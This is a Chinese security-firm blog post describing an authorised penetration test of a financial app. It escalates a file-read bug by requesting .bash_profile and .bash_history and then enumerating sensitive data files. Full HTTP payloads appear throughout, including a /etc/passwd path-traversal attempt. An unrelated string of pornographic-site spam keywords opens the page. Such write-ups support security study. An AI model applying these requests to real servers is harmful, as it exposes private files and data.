国产精品黄色网址_欧美性爱视频日韩国产_在线成人一级亚洲_伊人久久大香线蕉综合直播_美女午夜写真福利视频_中文字幕在线免费观看网址_一级黄片中文字幕无码专区_视频一区精品自拍_亚洲亚洲日本免费_黄色日本网站免费

證券簡稱:天融信 證券代碼:002212
全天候7x24小時服務(wù): 400-777-0777

案例分享丨一次文件讀取漏洞的“危害升級”歷程

在授權(quán)測試某金融類APP時,發(fā)現(xiàn)一個雞肋低危文件讀取漏洞,嘗試將其升級為高危。發(fā)現(xiàn)首次打開APP時,會向服務(wù)器讀取文件加載并展示圖片。測試時一定要細(xì)心,筆者發(fā)現(xiàn)只有首次打開APP時,才會加載圖片,后面再打開應(yīng)該是資源已被記錄,就不會向服務(wù)器再次進(jìn)行請求了。

案例分享丨一次文件讀取漏洞的“危害升級”歷程

發(fā)布時間:2022-11-04
瀏覽次數(shù):2880
分享:

在授權(quán)測試某金融類APP時,發(fā)現(xiàn)一個雞肋低危文件讀取漏洞,嘗試將其升級為高危。

PS:本文僅用于技術(shù)討論與分析,嚴(yán)禁用于任何非法用途,違者后果自負(fù)。

0x00 初步探測

發(fā)現(xiàn)首次打開APP時,會向服務(wù)器讀取文件加載并展示圖片。

測試時一定要細(xì)心,筆者發(fā)現(xiàn)只有首次打開APP時,才會加載圖片,后面再打開應(yīng)該是資源已被記錄,就不會向服務(wù)器再次進(jìn)行請求了。

此加載展示圖片的GET請求數(shù)據(jù)包如下:

GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

拿到這個數(shù)據(jù)包的第一反應(yīng),以往的滲透測試經(jīng)驗告訴我,從這個地方大概路會存在文件讀取漏洞。

分析并猜測功能點(diǎn)URI的每個參數(shù)的功能。

LogonImageDir=/XXXXX/Pictures - 圖片所在的目錄

SaveXxxxxImageName=this_is_image.jpg - 目錄下的圖片名

0x01 漏洞測試

既然已經(jīng)初步探測到了可能存在漏洞的風(fēng)險點(diǎn),并且文件讀取功能的參數(shù)已經(jīng)搞清楚,下一步就展開讀取測試。

首先測試,是否可以進(jìn)行目錄列出,直接將SaveXxxxxImageName參數(shù)置空,看看是否可以讀取/XXXXX/Pictures目錄下的內(nèi)容:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

返回為“空”,失敗,說明程序功能點(diǎn)不存在列出目錄漏洞:

測試是否可以跳出目錄,選用Payload如下:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

返回某恒防火墻攔截界面,失?。?/span>

接下來進(jìn)一步測試,是/etc/passwd觸發(fā)的WAF,還是/../觸發(fā)的WAF。

測試只進(jìn)行一層目錄跳出,并且刪除/etc/passwd關(guān)鍵字:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

唔...看來/../的特殊字符就已經(jīng)觸發(fā)了WAF:

之后想到嘗試對數(shù)據(jù)包進(jìn)行POST類型轉(zhuǎn)換,使用POST傳參的一些方式進(jìn)行WAF的測試,如:

URL編碼

分塊傳輸

臟數(shù)據(jù)填充

包體轉(zhuǎn)換

畸形數(shù)據(jù)包

......

但是無奈,POST請求直接無法傳參,程序限制了GET請求接收參數(shù)。

(不過,后來測試其他POST傳參的功能時,發(fā)現(xiàn)以筆者現(xiàn)有的WAF繞過經(jīng)驗思路,根本無法對某恒的WAF進(jìn)行繞過.....)

0x02 漏洞確認(rèn)

總結(jié)以上對此文件讀取漏洞收集到的信息:

目錄無法跨越,并且文件讀取的路徑在當(dāng)前根目錄;

特殊字符串,已被WAF完美防護(hù)?。?/span>

無法獲取目錄下的文件名、無法預(yù)知是否可以讀取其他后綴文件。

測試到這里突然靈光一閃,想到了“.bash_history”,如果網(wǎng)站根目錄存在此文件,并且可以讀取,上面的疑問就可以直接解決大半了,先來了解一下這些文件作用:

.bash_profile:此文件為系統(tǒng)的每個用戶設(shè)置環(huán)境信息,當(dāng)用戶第一次登錄時,該文件被執(zhí)行。

.bash_history:該文件保存了當(dāng)前用戶輸入過的歷史命令;

.bash_logout:該文件的用途是用戶注銷時執(zhí)行的命令,默認(rèn)為空;

.bashrc:此文件為每一個運(yùn)行bash shell的用戶執(zhí)行此文件。當(dāng)bash shell被打開時,該文件被讀取。

于是直接對網(wǎng)站根目錄進(jìn)行.bash_profile的盲測:

GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

此payload既避免了跳出目錄,又避開了WAF嚴(yán)打的特殊字符,但是唯一遺漏的.bash文件被我們利用到了。

激動的心顫抖的手,看來當(dāng)前網(wǎng)站根目錄確實是此用戶的目錄,并且用戶在此根目錄下執(zhí)行過命令!

接下來嘗試進(jìn)一步擴(kuò)大危害。

0x03 危害升級

不清楚當(dāng)前目錄結(jié)構(gòu),就代表著無法定向讀取文件,但是還有一個.bash_history我們沒有利用到,看看是否可以在其中獲取到更重要的信息。

讀取根目錄下的.bash_history:

GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

信息量雖然少,但是已經(jīng)有了新的進(jìn)展:

由歷史命令得知,管理員cd進(jìn)入了兩層目錄:/Nxxxx/xxFile/

并且查看了xx_20201022_51xxx.txt文件。

直接構(gòu)造讀取此文件!

GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

成功讀取到了敏感的數(shù)據(jù)信息:

并且文件的ID值為時間戳+ID順序編號組成,可輕松遍歷出全部的信息。

Burpsuite Intruder模塊測試:

嘗試遍歷10個ID值成功。

0x04 回首總結(jié)

存在的難題:目錄無法跨越、WAF盯防、無法預(yù)知目錄文件結(jié)構(gòu)。

在此情況下,利用Linux文件系統(tǒng)特性,仍然可以將低危漏洞提升至高危。

并且危害的等級高低是無法預(yù)估的,這取決于.bash_history會給我們泄露多少信息,所以文件讀取漏洞存在時間越久,記錄的東西越多,危害越大!

關(guān)鍵詞標(biāo)簽:
網(wǎng)絡(luò)安全 文件讀取漏洞,
客戶服務(wù)熱線

400-777-0777
7*24小時服務(wù)

聯(lián)系郵箱

servicing@topsec.com.cn

掃碼關(guān)注